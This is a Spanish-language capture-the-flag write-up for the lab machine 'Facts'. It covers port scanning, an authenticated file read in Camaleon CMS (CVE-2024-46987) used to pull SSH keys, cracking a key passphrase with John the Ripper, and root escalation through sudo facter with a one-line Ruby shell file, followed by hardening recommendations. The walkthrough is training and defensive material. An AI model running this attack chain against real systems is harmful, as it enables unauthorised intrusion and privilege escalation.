Key Findings
Durante el análisis de seguridad de la máquina Facts se identificaron las siguientes vulnerabilidades críticas:
- Camaleon CMS v2.9.0 vulnerable a lectura arbitraria de archivos autenticada
- Panel de administración accesible sin autenticación previa (registro abierto)
- CVE-2024-46987 permitiendo acceso a archivos sensibles del sistema
- Claves SSH privadas expuestas mediante Arbitrary File Read
- Passphrase débil en clave SSH privada
- Privilegios sudo sin restricciones para binario facter
- Escalada de privilegios mediante ejecución de código Ruby en facter
Key Learning Objectives
Los objetivos de aprendizaje clave en esta máquina incluyen:
- ✅ Port Scanning & Service Enumeration
- ✅ Web Directory Fuzzing with Gobuster
- ✅ Camaleon CMS Analysis & Exploitation
- ✅ Authenticated Arbitrary File Read - CVE-2024-46987
- ✅ SSH Key Extraction Techniques
- ✅ SSH Passphrase Cracking with John the Ripper
- ✅ Sudo Privilege Analysis & Exploitation
- ✅ Facter Custom Facts Privilege Escalation
Reconnaissance & Enumeration
El reconocimiento inicial se realizó utilizando Nmap para identificar puertos abiertos y servicios en ejecución.
❯ sudo nmap -p- --open -n -Pn -vvv -oG ports --min-rate=2500 10.129.8.248
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-17 19:58 +0100
Initiating SYN Stealth Scan at 19:58
Scanning 10.129.8.248 [65535 ports]
Discovered open port 80/tcp on 10.129.8.248
Discovered open port 22/tcp on 10.129.8.248
Discovered open port 54321/tcp on 10.129.8.248
Completed SYN Stealth Scan at 19:58, 30.45s elapsed (65535 total ports)
❯ sudo nmap -p 22,80,54321 -sCV -oN services 10.129.8.248
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_ 256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp open http nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
|_http-server-header: nginx/1.26.3 (Ubuntu)
54321/tcp open http Golang net/http server
|_http-server-header: MinIO
|_http-title: Did not follow redirect to http://10.129.8.248:9001
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Resultados:
- Puerto 22/tcp: OpenSSH 9.9p1 Ubuntu
- Puerto 80/tcp: nginx 1.26.3 con redirección a http://facts.htb/
- Puerto 54321/tcp: MinIO (Golang net/http server)
Agregamos el dominio al archivo hosts:
❯ echo '10.129.8.248 facts.htb' | sudo tee -a /etc/hosts
Web Application Assessment
Al acceder a la aplicación web en el puerto 80, observamos la página principal.
Directory Fuzzing
Realizamos fuzzing de directorios utilizando Gobuster:
❯ gobuster dir -u http://facts.htb \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-t 50 --add-slash
Encontramos la ruta del panel de administración:
admin/ (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
Camaleon CMS Access
Al acceder a http://facts.htb/admin/login, encontramos el panel de inicio de sesión de Camaleon CMS.
Observamos que el sistema permite el registro de nuevos usuarios. Procedemos a crear una cuenta (john:johndoe):
Una vez registrados e iniciada la sesión, identificamos que se está utilizando Camaleon CMS versión 2.9.0.
Arbitrary File Read - CVE-2024-46987
Investigando esta versión específica de Camaleon CMS, encontramos que es vulnerable a CVE-2024-46987, que permite la lectura arbitraria de archivos autenticada.
Referencia: https://github.com/Goultarde/CVE-2024-46987
Ejecutamos el exploit apuntando a /etc/passwd para enumerar usuarios del sistema:
❯ python3 CVE-2024-46987.py -u http://facts.htb -l john -p johndoe /etc/passwd
Identificamos dos usuarios relevantes:
SSH Passphrase Cracking
Extraemos el hash de la passphrase para intentar crackearla con John the Ripper:
❯ ssh2john.py id_ed25519 > hash.txt
❯ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
dragonballz (id_ed25519)
La passphrase es: dragonballz
SSH Access & User Flag
Nos conectamos por SSH utilizando la clave privada y la passphrase obtenida:
❯ ssh -i id_ed25519 trivia@facts.htb
Enter passphrase for key 'id_ed25519': dragonballz
trivia@facts:~$ whoami
trivia
Obtenemos la flag de usuario:
trivia@facts:~$ cat /home/william/user.txt
Privilege Escalation - Facter
Verificamos los privilegios sudo del usuario:
trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
El usuario puede ejecutar /usr/bin/facter como root sin contraseña. Facter permite la ejecución de código Ruby mediante custom facts.
Creamos un archivo Ruby malicioso en /tmp:
trivia@facts:~$ cd /tmp
trivia@facts:/tmp$ echo 'exec "/bin/bash"' > shell.rb
Ejecutamos facter con el directorio personalizado:
trivia@facts:/tmp$ sudo facter --custom-dir=/tmp shell
Root Access Achievement
Obtenemos una shell con privilegios de root:
root@facts:/tmp# whoami
root
root@facts:/tmp# cat /root/root.txt
Recommendations
Immediate Actions
1. Camaleon CMS Security
- Actualizar Camaleon CMS a la última versión disponible
- Aplicar parches de seguridad para CVE-2024-46987
- Deshabilitar registro público de usuarios en panel de administración
- Implementar autenticación de dos factores para administradores
2. SSH Key Management
- Usar passphrases fuertes y únicas para claves SSH privadas
- Implementar políticas de rotación de claves SSH
- Auditar regularmente permisos de archivos en directorios .ssh
- Considerar uso de certificados SSH en lugar de claves
3. File Read Protection
- Implementar validación estricta de rutas en aplicaciones web
- Usar jaulas chroot para aislar procesos de aplicaciones
- Aplicar permisos restrictivos en archivos de configuración
- Implementar WAF para detectar intentos de path traversal
4. Sudo Privilege Hardening
- Eliminar privilegios sudo innecesarios para binarios como facter
- Implementar restricciones en argumentos permitidos para comandos sudo
- Auditar regularmente configuración de sudoers
- Usar sudo con opciones específicas en lugar de ALL
Long-term Security Improvements
1. Access Controls
- Implementar principio de mínimo privilegio en todos los servicios
- Separación de privilegios entre usuarios del sistema
- Autenticación multifactor para accesos administrativos
- Regular revisión de permisos y accesos de usuarios
2. Application Security
- Implementar SAST/DAST en pipeline de desarrollo
- Regular auditoría de código para vulnerabilidades
- Usar frameworks seguros y actualizados
- Implementar Content Security Policy (CSP)
3. Monitoring & Detection
- Implementar IDS/IPS para detectar path traversal attempts
- Monitorear accesos a archivos sensibles del sistema
- Alertas para ejecución de comandos privilegiados anómalos
- Logging centralizado de todas las aplicaciones web
4. Vulnerability Management
- Programa de gestión de vulnerabilidades y parches
- Escaneos de seguridad regulares de aplicaciones web
- Pruebas de penetración periódicas
- Suscripción a alertas de seguridad para frameworks utilizados